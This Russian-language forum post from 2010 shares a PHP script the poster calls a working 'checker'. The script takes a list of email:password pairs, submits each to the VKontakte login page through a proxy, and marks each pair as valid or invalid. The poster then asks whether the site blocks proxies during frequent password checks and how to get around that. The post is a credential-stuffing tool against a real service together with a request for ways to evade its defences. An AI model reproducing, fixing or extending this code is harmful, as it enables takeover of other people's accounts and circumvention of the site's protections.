
19.03.2010, 04:04
|
|
Участник форума
Регистрация: 01.03.2009
Сообщений: 121
Провел на форуме: 4022236
Репутация:
38
|
|
PHP код:
<form method="post" />
<textarea cols="80" rows="18" name="akki-list">
</textarea>
<br />
<input type="submit" value=" Send " />
</form>
<?php
if(isset($_POST['akki-list'])) {
function curl($url,$post)
{
$cfile = 'cheker-cookies.txt';
$ch = curl_init();
curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.4) Gecko/2008102920 AdCentriaIM/1.7 Firefox/3.6");
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 1);
$proxy="ip:port";
curl_setopt($ch, CURLOPT_PROXY, $proxy);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_COOKIEJAR, $cfile);
curl_setopt($ch, CURLOPT_COOKIEFILE, $cfile);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_POST, 1);
$result = curl_exec($ch);
curl_close($ch);
return $result;
};
foreach(explode("\n",$_POST['akki-list']) as $line)
{
$pos = strpos($line, ':');
$email = substr($line, 0, $pos);
$pos2 = strpos($line, ':');
$pass = substr($line, $pos2);
$pass = @ereg_replace(":", "", $pass);
$result = curl('http://vkontakte.ru/','');
if(strstr($result,'<title>В Контакте | Добро пожаловать</title>'))
{ $result = curl("http://vkontakte.ru/login.php","email=$email&pass=$pass");
}
if (preg_match('#(это Вы)(.*)#iU',$result,$avtoriz))
echo "$email:$pass - ok<br />";
else
echo "$email:$pass - bad<br />";
unlink('cheker-cookies.txt');
}
}
?>
Ну вот в принципе рабочий чекер на php. Но только работает странно. Раз работает, другой раз не работает... Может ли сайт вконтакте блокировать прокси при частой проверки паролей на валидность? Если да, то как это можно обойти?
|
|
|